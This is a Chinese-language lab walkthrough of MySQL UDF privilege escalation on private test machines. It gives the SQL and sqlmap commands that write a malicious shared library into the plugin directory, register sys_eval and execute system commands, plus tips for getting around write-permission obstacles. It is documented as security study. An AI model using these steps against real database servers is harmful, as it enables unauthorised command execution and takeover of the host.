根据前天对大牛们的资料学习,进行一次mysql udf提权测试。

测试环境:

受害者系统:centos 7.7 ,docker部署mysql5.6.46, IP:192.168.226.128

攻击者系统:centos7.7,安装mysq client 5.7,IP:192.168.226.129

攻击者连接至mysql后,使用SQL语句检查相关的路径及权限

show variables like "%plugin%";

show variables like "%secure_file%";

攻击者系统

刚安装好的mysql时,secure_file_priv是有一个指定路径,而且并不在/usr/lib/mysql/下,则无法写入udf文件。手动在受害者所在系统/etc/mysql/mysql.conf.d/mysqld.conf中修改,若不存在secure_file_priv,则添加secure_file_priv=

受攻击系统的mysqld.conf

提权测试:

将udf十六进制导入查检目录中,先设置udf变量

mysql> set @a=unhex('udf十六进制编码,详见下文');

mysql> select @a into dumpfile '/usr/lib/mysql/plugin/udf.so';

上传插件

*************也可以使用sqlmap进行上传so文件:

python sqlmap.py -d "mysql://root:test1234@@192.168.226.128:3306/mysql" --file-write="C:\Users\username\AppData\Local\Programs\Python\Python37\sqlmap-master\data\udf\mysql\linux\64\lib_mysqludf_sys.so_" --file-dest="/usr/lib/mysql/plugin/udf.so"

引用方法,成功执行系统命令:

mysql> select * from func;

mysql> create function sys_eval returns string soname 'udf.so';

mysql> select sys_eval('whoami');

命令执行成功-whami

<进一步的权限提升及持久化,需要继续学习研究>

提权过程的坑点:

(1)plugin目录下没有写入权限

mysql> select '1111' into dumpfile '/usr/lib/mysql/plugin/1.txt';

ERROR 1 (HY000): Can't create/write to file '/usr/lib/mysql/plugin/1.txt' (Errcode: 13 - Permission denied)

权限配置

解决方法:修改plugin目录权限

# chown mysql:mysql /usr/lib/mysql/plugin

修改受攻击者plugin写权限

(2)获取udf文件,可以从sqlmap/data/udf/mysql/linux/64中获取(需要经过解码,工具也在sqlmap中。在sqlmap/extra/cloak目录下的cloak.py就是。解密之后会在当前目录下生成dll文件),也可以自己进行编译,我通过网络查找以前大牛的udf十六进制文件(原链接:https://blog.csdn.net/qq_33020901/article/details/78827375)。

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